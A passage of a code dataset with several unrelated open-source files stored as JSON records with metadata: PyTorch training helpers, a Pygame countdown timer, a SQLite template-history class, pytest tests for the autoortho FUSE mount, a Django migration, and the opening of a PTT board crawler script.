"typing.List", "line_number": 19, "usage_type": "name"}, {"api_name": "app.models.Organization", "line_number": 19, "usage_type": "name"}, {"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 30, "usage_type": "name"}, {"api_name": "uuid.UUID", "line_number": 30, "usage_type": "name"}, {"api_name": "sqlalchemy.select", "line_number": 33, "usage_type": "call"}, {"api_name": "app.models.ContactPerson", "line_number": 33, "usage_type": "argument"}, {"api_name": "app.models.ContactPerson.id", "line_number": 33, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 31, "usage_type": "name"}, {"api_name": "app.models.ContactPerson", "line_number": 31, "usage_type": "name"}, {"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 40, "usage_type": "name"}, {"api_name": "sqlalchemy.select", "line_number": 47, "usage_type": "call"}, {"api_name": "app.models.ContactPerson", "line_number": 47, "usage_type": "argument"}, {"api_name": "sqlalchemy.and_", "line_number": 48, "usage_type": "call"}, {"api_name": "app.models.ContactPerson.first_name", "line_number": 49, "usage_type": "attribute"}, {"api_name": "app.models.ContactPerson", "line_number": 49, "usage_type": "name"}, {"api_name": "app.models.ContactPerson.second_name", "line_number": 50, "usage_type": "attribute"}, {"api_name": "app.models.ContactPerson", "line_number": 50, "usage_type": "name"}, {"api_name": "app.models.ContactPerson.email", "line_number": 51, "usage_type": "attribute"}, {"api_name": "app.models.ContactPerson", "line_number": 51, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 45, "usage_type": "name"}, {"api_name": "app.models.Organization", "line_number": 45, "usage_type": "name"}, {"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 60, "usage_type": "name"}, {"api_name": "app.schemas.contact_person.ContactPersonCreate", "line_number": 62, "usage_type": "name"}, {"api_name": "app.models.Organization", "line_number": 63, "usage_type": "name"}, {"api_name": "app.models.ContactPerson", "line_number": 66, "usage_type": "call"}, {"api_name": "app.models.ContactPerson", "line_number": 64, "usage_type": "name"}, {"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 79, "usage_type": "name"}, {"api_name": "app.models.ContactPerson", "line_number": 81, "usage_type": "name"}, {"api_name": "app.schemas.contact_person.ContactPersonUpdate", "line_number": 82, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 83, "usage_type": "name"}, {"api_name": "app.models.Organization", "line_number": 83, "usage_type": "name"}, {"api_name": "fastapi.encoders.jsonable_encoder", "line_number": 86, "usage_type": "call"}, {"api_name": "app.models.ContactPerson", "line_number": 84, "usage_type": "name"}, {"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 107, "usage_type": "name"}, {"api_name": "app.models.ContactPerson", "line_number": 109, "usage_type": "name"}]} {"seq_id": "40702978315", "text": "from torch.optim import lr_scheduler\nimport torch.nn.init as init\nimport math\n\n\ndef get_scheduler(optimizer, hyperparameters, iterations=-1):\n if 'lr_policy' not in hyperparameters or hyperparameters['lr_policy'] == 'constant':\n scheduler = None # constant scheduler\n elif hyperparameters['lr_policy'] == 'step':\n scheduler = lr_scheduler.StepLR(optimizer, step_size=hyperparameters['step_size'],\n gamma=hyperparameters['gamma'], last_epoch=iterations)\n else:\n return NotImplementedError('learning rate policy [%s] is not implemented', hyperparameters['lr_policy'])\n return scheduler\n\n\ndef weights_init(init_type='gaussian'):\n def init_fun(m):\n classname = m.__class__.__name__\n if (classname.find('Conv') == 0 or classname.find('Linear') == 0) and hasattr(m, 'weight'):\n # print m.__class__.__name__\n if init_type == 'gaussian':\n init.normal_(m.weight.data, 0.0, 0.02)\n elif init_type == 'xavier':\n init.xavier_normal_(m.weight.data, gain=math.sqrt(2))\n elif init_type == 'kaiming':\n init.kaiming_normal_(m.weight.data, a=0, mode='fan_in')\n elif init_type == 'orthogonal':\n init.orthogonal_(m.weight.data, gain=math.sqrt(2))\n elif init_type == 'default':\n pass\n else:\n assert 0, \"Unsupported initialization: {}\".format(init_type)\n if hasattr(m, 'bias') and m.bias is not None:\n init.constant_(m.bias.data, 0.0)\n\n return init_fun\n", "repo_name": "mengweiren/q-space-conditioned-dwi-synthesis", "sub_path": "utils/torchutils.py", "file_name": "torchutils.py", "file_ext": "py", "file_size_in_byte": 1615, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.optim.lr_scheduler.StepLR", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.optim.lr_scheduler", "line_number": 10, "usage_type": "name"}, {"api_name": "torch.nn.init.normal_", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.init.xavier_normal_", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 25, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn.init.kaiming_normal_", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 27, "usage_type": "name"}, {"api_name": "torch.nn.init.orthogonal_", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 29, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn.init.constant_", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 35, "usage_type": "name"}]} {"seq_id": "26765025675", "text": "import pygame, json\n\nfrom catan import NUMBER_FONT, BLACK\n\n\nimport pygame\nimport json\n\nclass Timer:\n \"\"\"\n A Timer class to keep track of time and display it on a screen.\n\n Args:\n screen (Surface): The surface to render the time on.\n\n Attributes:\n screen (Surface): The surface to render the time on.\n time (int): The total time in milliseconds for the timer.\n paused (bool): A flag to indicate if the timer is currently paused.\n remaining_time (int): The remaining time in milliseconds on the timer.\n\n Methods:\n update(dt):\n Update the remaining time on the timer based on elapsed time.\n\n Args:\n dt (float): The elapsed time in milliseconds.\n\n pause():\n Pause the timer.\n\n unpause():\n Unpause the timer.\n\n save():\n Save the current state of the timer to a file.\n\n load():\n Load the saved state of the timer from a file.\n \"\"\"\n def __init__(self, screen):\n \"\"\"\n Initialize the Timer class.\n\n Args:\n screen (Surface): The surface to render the time on.\n \"\"\"\n self.screen = screen\n self.time = 15 * 60 * 1000 # 15 minutes in milliseconds\n self.paused = False\n self.remaining_time = self.time\n\n def update(self, dt):\n \"\"\"\n Update the remaining time on the timer based on elapsed time.\n\n Args:\n dt (float): The elapsed time in milliseconds.\n \"\"\"\n if not self.paused:\n self.remaining_time -= dt\n if self.remaining_time <= 0:\n self.remaining_time = 0\n self.paused = True\n\n # Convert milliseconds to minutes, seconds, and milliseconds\n minutes = int(self.remaining_time / 60000)\n seconds = int((self.remaining_time % 60000) / 1000)\n milliseconds = int(self.remaining_time % 1000)\n\n # Format the time as a string\n time_str = \"{:02d}:{:02d}.{:03d}\".format(minutes, seconds, milliseconds)\n\n # Render the time as text\n text = NUMBER_FONT.render(time_str, True, BLACK)\n\n # Display the time on the screen\n self.screen.blit(text, (1550, 250))\n\n\n\n def pause(self):\n \"\"\"\n Pause the timer.\n \"\"\"\n self.paused = True\n\n def unpause(self):\n \"\"\"\n Unpause the timer.\n \"\"\"\n self.paused = False\n\n def save(self):\n \"\"\"\n Save the current state of the timer to a file.\n \"\"\"\n data = {\"time\": self.time, \"paused\": self.paused, \"remaining_time\": self.remaining_time}\n with open(\"timer_data.txt\", \"w\") as f:\n json.dump(data, f)\n\n def load(self):\n \"\"\"\n Load the saved state of the timer from a file.\n \"\"\"\n with open(\"timer_data.txt\", \"r\") as f:\n data = json.load(f)\n self.time = data[\"time\"]\n self.paused = data[\"paused\"]\n self.remaining_time = data[\"remaining_time\"]\n\n\n\n\n\n\n\n", "repo_name": "rashidalmarri21/Catan-Group-38", "sub_path": "catan/timer.py", "file_name": "timer.py", "file_ext": "py", "file_size_in_byte": 3025, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "catan.NUMBER_FONT.render", "line_number": 75, "usage_type": "call"}, {"api_name": "catan.BLACK", "line_number": 75, "usage_type": "argument"}, {"api_name": "catan.NUMBER_FONT", "line_number": 75, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 100, "usage_type": "call"}, {"api_name": "json.load", "line_number": 107, "usage_type": "call"}]} {"seq_id": "19419631066", "text": "\"\"\"Файл содержит класс DataBaseInterface который объединяет методы для работы с базой данных\"\"\"\n\nimport json\nimport sqlite3\nfrom datetime import datetime\n\nfrom const import DB_NAME\n\n\nclass DataBaseInterface:\n \"\"\"\n Класс для работы с базой данных.\n \"\"\"\n\n def __init__(self):\n \"\"\"\n 1. Создаётся связь с бд sqlite3\n 2. Вызывается функция для создания таблиц.\n \"\"\"\n self.connection = sqlite3.connect(DB_NAME)\n self.init_tables()\n\n def init_tables(self):\n \"\"\"\n Создаются таблицы в БД.\n\n 1. С помощью контекстного менеджера открывается соединение с бд;\n 2. Создаётся объект курсора, с помощью которого будут передаваться команды;\n 3. Передаются две команды для создания таблиц, если они не созданы;\n 4. С помощью метода self.connection.commit(), команды выполняются.\n \"\"\"\n with self.connection:\n cursor = self.connection.cursor()\n cursor.execute(\n \"\"\"\n CREATE TABLE IF NOT EXISTS template \n (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n name TEXT NOT NULL,\n variables JSON NOT NULL,\n date_added DATETIME NOT NULL\n )\n \"\"\"\n )\n cursor.execute(\n \"\"\"\n CREATE TABLE IF NOT EXISTS history \n (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n template_id INTEGER NOT NULL,\n used_variables JSON NOT NULL,\n use_date DATETIME NOT NULL, \n FOREIGN KEY (template_id) REFERENCES template (id) \n )\n \"\"\"\n )\n self.connection.commit()\n\n def save_templates(self, templates):\n \"\"\"\n Сохраняет данные о шаблонах в таблицу template.\n\n :param templates: Словарь в котором ключом является название шаблона из папки шаблонов,\n а значением является список его переменных.\n Пример:\n {\n \"Заявление на отпуск\": [\"фио\", \"дни\", \"дата\"],\n \"Командировка\": [\"фио\", \"должность\", \"город\", \"дата\"]\n }\n\n \"\"\"\n with self.connection:\n cursor = self.connection.cursor()\n date_added = datetime.now()\n for template_filename, variables in templates.items():\n json_variables = json.dumps(variables)\n if not self.template_exist(template_filename, json_variables):\n cursor.execute(\n \"INSERT INTO template (name, variables, date_added)\"\n \"VALUES (?, ?, ?)\",\n (template_filename, json_variables, date_added)\n )\n self.connection.commit()\n\n def template_exist(self, name, variables):\n \"\"\"\n Производит поиск шаблона в таблице template.\n\n :param name: Имя шаблона.\n :param variables: Переменные шаблона.\n :return: True, если шаблон найден, иначе False.\n \"\"\"\n with self.connection:\n cursor = self.connection.cursor()\n cursor.execute(\n \"\"\"\n SELECT variables FROM template\n WHERE name=(?)\n \"\"\",\n (name,)\n )\n result = cursor.fetchall()\n for row in result:\n if row[0] == variables:\n return True\n return False\n\n def save_history(self, template_id, used_variables, date_added):\n \"\"\"\n Сохраняет в таблицу history, переменные которые использовал пользователь при генерации нового документа.\n\n :param template_id: Номер шаблона из таблицы template.\n :param used_variables: Список используемых переменных.\n :param date_added: Дата создания документа.\n \"\"\"\n\n with self.connection:\n cursor = self.connection.cursor()\n cursor.execute(\n \"\"\"\n INSERT INTO history (template_id, used_variables, use_date)\n VALUES (?, ?, ?)\n \"\"\",\n (template_id, json.dumps(used_variables), date_added)\n )\n self.connection.commit()\n\n def read_templates(self):\n \"\"\"\n Запрашивает все данные из таблицы template.\n\n :return: Список кортежей с данными из таблицы.\n \"\"\"\n with self.connection:\n cursor = self.connection.cursor()\n cursor.execute(\"SELECT * FROM template\")\n rows = cursor.fetchall()\n return rows\n\n def read_template_by_id(self, template_id):\n \"\"\"\n Запрашивает данные о шаблоне по его id.\n\n :param template_id: Номер шаблона в таблице template.\n :return: Кортеж с данными о шаблоне.\n \"\"\"\n with self.connection:\n cursor = self.connection.cursor()\n cursor.execute(\n \"\"\"\n SELECT * FROM template\n WHERE id = (?)\n \"\"\",\n (template_id,)\n )\n template = cursor.fetchone()\n return template\n\n def read_template_history(self, template_id):\n \"\"\"\n Запрашивает строки из таблицы history с заданным template_id\n\n :param template_id: Номер шаблона в таблице template.\n :return: Список кортежей с данными об истории использования шаблона.\n \"\"\"\n\n with self.connection:\n cursor = self.connection.cursor()\n cursor.execute(\n \"\"\"\n SELECT * FROM history\n WHERE template_id = (?)\n \"\"\",\n (template_id,)\n )\n history = cursor.fetchall()\n return history\n\n def get_template_id(self, template_name):\n \"\"\"\n Запрашивает последний существующий номер шаблона с определённым именем.\n\n :param template_name: Имя шаблона.\n :return: Номер шаблона.\n \"\"\"\n\n with self.connection:\n cursor = self.connection.cursor()\n cursor.execute(\n \"\"\"\n SELECT id FROM template\n WHERE name = (?)\n ORDER BY id DESC\n \"\"\",\n (template_name,)\n )\n template_id = cursor.fetchone()\n return template_id[0]\n", "repo_name": "dim272/gen_docs", "sub_path": "database.py", "file_name": "database.py", "file_ext": "py", "file_size_in_byte": 7552, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sqlite3.connect", "line_number": 20, "usage_type": "call"}, {"api_name": "const.DB_NAME", "line_number": 20, "usage_type": "argument"}, {"api_name": "datetime.datetime.now", "line_number": 74, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 74, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 76, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 124, "usage_type": "call"}]} {"seq_id": "435547775", "text": "#!/usr/bin/env python3\n\nimport os\nimport re\nimport time\nimport pytest\nimport shutil\nimport hashlib\nimport platform\nfrom pathlib import Path\nimport threading\nimport subprocess\nimport random\nimport string\nimport tempfile\n\nfrom refuse.high import fuse_exit\n\nimport autoortho_fuse\nimport aostats\nfrom aoconfig import CFG\n\nimport logging\n#logging.basicConfig()\nlog = logging.getLogger('log')\n#log.setLevel(logging.DEBUG)\nlog.setLevel(logging.INFO)\n\nao = None\n\ndef runmount(mountdir, cachedir):\n global ao\n #ao = autoortho.AutoOrtho('./testfiles', cachedir)\n #autoortho.run(ao, mountdir, True)\n\n ao = autoortho_fuse.AutoOrtho('./testfiles', cachedir)\n autoortho_fuse.run(ao, mountdir)\n print(\"Exiting FUSE mount\")\n \n #if os.path.isdir(ao.cache_dir):\n # print(\"Removing cache dir\")\n # shutil.rmtree(ao.cache_dir)\n #shutil.rmtree(ao.cache_dir)\n #ao.cache_dir = os.path.join(mountdir, \"cache\")\n #autoortho.FUSE(ao, mountdir, nothreads=True, foreground=True, allow_other=True, max_readahead=0)\n \n print(\"Shutting down mount fixture\")\n #if os.path.isdir(ao.cache_dir):\n # print(\"Removing cache dir\")\n # shutil.rmtree(ao.cache_dir)\n\n@pytest.fixture(scope=\"module\")\ndef mount():\n\n tmpname = ''.join(random.choice(string.ascii_lowercase) for x in range(8))\n\n print(f\"TMPNAME: {tmpname}\")\n \n tmpdir = os.path.join(tempfile.gettempdir(), f\"atest_{tmpname}\")\n os.makedirs(tmpdir)\n\n #tmpdir = tempfile.mkdtemp()\n mountdir = str(os.path.join(tmpdir, 'mount'))\n\n if platform.system() != \"Windows\":\n os.makedirs(mountdir)\n print(os.listdir(mountdir))\n\n #cachedir = os.path.join(tmpdir, 'cache')\n cachedir = \"./cache\"\n\n try:\n stats = aostats.AOStats()\n stats.start()\n t = threading.Thread(daemon=True, target=runmount, args=(mountdir, cachedir))\n t.start()\n time.sleep(1)\n #print(os.listdir(mountdir))\n \n yield mountdir\n\n finally:\n stats.stop()\n #files = os.listdir(mountdir)\n #print(files)\n if platform.system() != \"Windows\":\n subprocess.check_call(f\"umount {mountdir}\", shell=True)\n subprocess.call(f\"umount -f AutoOrtho\", shell=True)\n time.sleep(1)\n shutil.rmtree(tmpdir)\n\ndef _test_stuff():\n assert 1 == 1\n\n\ndef _test_read_dsf(mount):\n dsf_file = './testfiles/dsftest/+00-051.dsf'\n ter_dir = './testfiles/dsftest/' \n\n with open(dsf_file, encoding='utf-8', errors='ignore') as h:\n ter_files = re.findall(\"terrain\\W?\\d+[-_]\\d+[-_]\\D*\\d+\\w*\\.ter\", h.read())\n\n\n dds_full_paths = set()\n log.info(f\"DSF: found {len(ter_files)} terrain files. Parsing ...\")\n for t in ter_files:\n ter_path = os.path.join(ter_dir, t) \n #log.debug(f\"Checking {ter_path}...\")\n with open(ter_path) as h:\n dds_files = re.findall(\"\\S*/\\d+[-_]\\d+[-_]\\D*\\d+.dds\", h.read())\n log.info(f\"Found: {dds_files}\")\n for dds in dds_files:\n dds_full_paths.add(\n os.path.join(mount, os.path.basename(dds))\n ) \n\n print(dds_full_paths)\n print(len(dds_full_paths))\n\n #CFG.pydds.compressor = \"STB\"\n for dds in dds_full_paths:\n rc = subprocess.call(\n f\"identify {dds}\",\n shell=True\n )\n\n log.info(f\"FINAL STATS: ID: {aostats.STATS}\")\n #assert True == False\n\n\ndef test_autoortho(mount):\n print(mount)\n\n things = os.listdir(mount)\n print(things)\n \n rc = subprocess.call(\n f\"identify {mount}/3232_2176_Null13.dds\",\n shell=True\n )\n\n assert rc == 0\n\n\ndef test_read_header(mount):\n things = os.listdir(mount)\n \n testfile = f\"{mount}/24832_12416_BI16.dds\"\n\n stat = os.stat(testfile)\n size = stat.st_size\n\n blocksize = 16384\n\n blocks = size//blocksize\n remainder = size%blocksize\n\n with open(testfile, \"rb\") as h:\n header = h.read(blocksize)\n\n rc = subprocess.call(\n f\"identify {testfile}\", \n shell=True\n )\n\n assert rc == 0\n\ndef test_read_mip0(mount):\n things = os.listdir(mount)\n \n testfile = f\"{mount}/24832_12416_BI16.dds\"\n\n stat = os.stat(testfile)\n size = stat.st_size\n\n blocksize = 16384\n\n blocks = size//blocksize\n remainder = size%blocksize\n\n with open(testfile, \"rb\") as h:\n data = h.read(blocksize)\n data = h.read(blocksize)\n\n #assert True == False\n\n rc = subprocess.call(\n f\"identify {testfile}\", \n shell=True\n )\n\n assert rc == 0\n\ndef test_read_mip1(mount, tmpdir):\n things = os.listdir(mount)\n \n testfile = f\"{mount}/24832_12416_BI16.dds\"\n\n stat = os.stat(testfile)\n size = stat.st_size\n\n blocksize = 4096\n\n blocks = size//blocksize\n remainder = size%blocksize\n\n mipmapsize = 4194304\n \n with open(testfile, \"rb\") as h:\n data = h.read(128)\n print(data)\n print(f\"DATA LEN: {len(data)}\")\n h.seek(16777344)\n data = h.read(mipmapsize)\n print(f\"DATA LEN: {len(data)}\")\n\n with open(testfile, \"rb\") as read_h:\n with open(f\"{tmpdir}/testmip1.dds\", 'wb') as write_h:\n write_h.write(read_h.read(128))\n read_h.seek(16777344)\n write_h.seek(16777344)\n write_h.write(read_h.read(mipmapsize))\n write_h.seek(22369870)\n write_h.write(b'x\\00')\n\n rc = subprocess.call(\n f\"identify -verbose {testfile}\", \n shell=True\n )\n assert rc == 0\n \n rc = subprocess.call(\n f\"identify {tmpdir}/testmip1.dds\", \n shell=True\n )\n assert rc == 0\n\n #assert True == False\n\ndef _test_mip_4_read(mount, tmpdir):\n global ao\n testfile = os.path.join(mount, \"24832_12416_BI16.dds\")\n with open(testfile, \"rb\") as h:\n time.sleep(0.5)\n log.info(\"-\"*32)\n log.info(\"First read the header:\")\n header = h.read(128)\n\n\n\n time.sleep(0.5)\n log.info(\"-\"*32)\n log.info(\"Now seek to mipmap4\")\n h.seek(22282368)\n time.sleep(1)\n log.info(\"-\"*32)\n log.info(\"Tell:\")\n pos = h.tell()\n log.debug(f\"TEST TELL(): {pos}\")\n time.sleep(1)\n log.info(\"-\"*32)\n log.info(\"Read mipmap 4\")\n data1 = h.read(65536)\n print(data1[0:20])\n time.sleep(0.5)\n log.info(\"-\"*32)\n log.info(\"Close\")\n time.sleep(0.5)\n\n log.info(f\"Tiles: {len(ao.tc.tiles)}\")\n for k,v in ao.tc.tiles.items():\n log.info(f\"{k} {v}\")\n log.info(f\"Chunks: {len(v.chunks)}\")\n log.info(v.dds.mipmap_list)\n\n\n# with open(testfile, \"rb\") as h:\n# data = h.read(101000)\n# print(data[100000:20])\n# print(data[129:149])\n# \n# assert len(testdata) == len(data)\n# assert testdata[100000:100020] == data[100000:100020]\n# assert testdata[0:128] == data[0:128]\n# assert testdata[128:150] == data[128:150]\n# \n# assert hashlib.md5(testdata).hexdigest() == hashlib.md5(data).hexdigest()\n #assert True == False\n \n\n\n\ndef test_middle_read(mount, tmpdir):\n testfile = os.path.join(mount, \"24832_12416_BI16.dds\")\n # rc = subprocess.call(\n # f\"identify -verbose {testfile}\", \n # shell=True\n # )\n # assert rc == 0\n \n #with open(testfile, \"rb\") as h:\n # header = h.read(128)\n # data = h.read(1000)\n\n with open(testfile, \"rb\") as h:\n header = h.read(128)\n h.seek(100000)\n log.debug(f\"TEST TELL(): {h.tell()}\")\n data1 = h.read(1000)\n print(data1[0:20])\n log.debug(\"TEST MIDDLE: SEEK(128)\")\n h.seek(128)\n log.debug(f\"TEST TELL(): {h.tell()}\")\n data0 = h.read(99872)\n print(data0[0:20])\n\n testdata = header + data0 + data1\n\n with open(testfile, \"rb\") as h:\n data = h.read(101000)\n print(data[100000:20])\n print(data[129:149])\n\n assert len(testdata) == len(data)\n assert testdata[100000:100020] == data[100000:100020]\n assert testdata[0:128] == data[0:128]\n assert testdata[128:150] == data[128:150]\n\n assert hashlib.md5(testdata).hexdigest() == hashlib.md5(data).hexdigest()\n #assert True == False\n\ndef test_multi_read(mount, tmpdir):\n testfile = f\"{mount}/24832_12416_BI16.dds\"\n header1 = \"aaa\"\n header2 = \"zzz\"\n with open(testfile, \"rb\") as h:\n header1 = h.read(128)\n print(header1)\n\n with open(testfile, \"rb\") as h2:\n header2 = h2.read(128)\n print(header2)\n\n\n assert header1 == header2\n #assert True == False\n", "repo_name": "206airmail/autoortho", "sub_path": "autoortho/test_autoortho.py", "file_name": "test_autoortho.py", "file_ext": "py", "file_size_in_byte": 8551, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 25, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 27, "usage_type": "attribute"}, {"api_name": "autoortho_fuse.AutoOrtho", "line_number": 36, "usage_type": "call"}, {"api_name": "autoortho_fuse.run", "line_number": 37, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 55, "usage_type": "call"}, {"api_name": "string.ascii_lowercase", "line_number": 55, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "attribute"}, {"api_name": "tempfile.gettempdir", "line_number": 59, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "platform.system", "line_number": 65, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 66, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 67, "usage_type": "call"}, {"api_name": "aostats.AOStats", "line_number": 73, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 75, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 77, "usage_type": "call"}, {"api_name": "platform.system", "line_number": 86, "usage_type": "call"}, {"api_name": "subprocess.check_call", "line_number": 87, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 88, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 89, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 90, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 52, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path", "line_number": 107, "usage_type": "attribute"}, {"api_name": "re.findall", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 114, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 122, "usage_type": "call"}, {"api_name": "aostats.STATS", "line_number": 127, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 134, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 137, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 146, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 150, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 161, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 169, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 173, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 187, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 195, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 199, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 226, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 232, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 242, "usage_type": "call"}, {"api_name": "os.path", "line_number": 242, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 244, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 251, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 255, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 260, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 265, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 268, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 294, "usage_type": "call"}, {"api_name": "os.path", "line_number": 294, "usage_type": "attribute"}, {"api_name": "hashlib.md5", "line_number": 329, "usage_type": "call"}]} {"seq_id": "9600227319", "text": "# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at https://mozilla.org/MPL/2.0/.\n\n# Generated by Django 1.11.7 on 2017-12-06 20:27\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [\n (\"download\", \"0003_auto_20171016_1950\"),\n ]\n\n operations = [\n migrations.AlterField(\n model_name=\"missingsymbol\",\n name=\"code_file\",\n field=models.CharField(max_length=150, null=True),\n ),\n migrations.AlterField(\n model_name=\"missingsymbol\",\n name=\"code_id\",\n field=models.CharField(max_length=150, null=True),\n ),\n ]\n", "repo_name": "mozilla-services/tecken", "sub_path": "tecken/download/migrations/0004_auto_20171206_2027.py", "file_name": "0004_auto_20171206_2027.py", "file_ext": "py", "file_size_in_byte": 783, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 27, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 10, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 10, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 16, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 24, "usage_type": "name"}]} {"seq_id": "12015693809", "text": "import traceback\nimport sys\nimport time\nimport os.path\nsys.path.append('../PTTCrawlerLibrary')\nimport PTT\nimport MagicianTerminatorCondition\nimport json\nfrom time import gmtime, strftime\nprint('Magician Terminator')\n\nBoard = 'Wanted'\nRetry = True\n# If you want to automatically login define Account.txt\n# {'ID':'YourID', 'Password':'YourPW'}\n\nTest = False\n\ntry:\n with open('Account.txt', encoding = 'utf-8-sig') as AccountFile:\n Account = json.load(AccountFile)\n ID = Account['ID']\n Password = Account['Password']\n print('Auto ID password mode')\nexcept FileNotFoundError:\n ID = input('Input ID: ')\n Password = getpass.getpass('Input password: ')\n\ndef Log(InputMessage, ends='\\r\\n'):\n TotalMessage = '[' + strftime('%Y-%m-%d %H:%M:%S') + '] ' + InputMessage\n print(TotalMessage.encode(sys.stdin.encoding, 'replace').decode(sys.stdin.encoding), end=ends)\n\nPTTCrawler = PTT.Crawler(ID, Password, False)\nif not PTTCrawler.isLoginSuccess():\n PTTCrawler.Log('Login fail')\nelse:\n \n MailList = []\n\n try:\n with open('MailList.txt') as MailListFile:\n MailList = MailListFile.readlines()\n MailList = [x.strip() for x in MailList] \n except FileNotFoundError:\n file = open('MailList.txt', 'w')\n file.close()\n \n PTTCrawler.Log('載入記錄名單完成')\n \n Content = PTTCrawler.readPostFile('Mail.txt')\n \n if Content == None:\n PTTCrawler.Log('載入信件檔案失敗')\n PTTCrawler.logout()\n sys.exit()\n PTTCrawler.Log('載入信件檔案完成')\n \n PTTCrawler.Log('內文: ' + Content)\n \n if os.path.exists('LastPostIndex.txt'):\n \n LastIndex = 0\n f = open('LastPostIndex.txt', 'r')\n LastIndex = int(f.readline())\n if LastIndex <= 0:\n LastIndexList = [0]\n else:\n LastIndexList = [LastIndex - 1]\n f.close()\n \n if not Test:\n PTTCrawler.Log('重新檢查文章編號 ' + str(LastIndexList[0]))\n \n else :\n LastIndex = 0\n LastIndexList = [0]\n \n First = True\n \n while Retry:\n \n try:\n if not len(LastIndexList) == 0:\n ErrorCode, NewestIndex = PTTCrawler.getNewestPostIndex(Board)\n \n LastIndex = LastIndexList.pop()\n \n if First:\n First = False\n \n if len(LastIndexList) == 0 and LastIndex == 0:\n \n RecheckPost = 60\n LastIndex = NewestIndex - RecheckPost\n PTTCrawler.Log('重新檢查過去 ' + str(RecheckPost) + ' 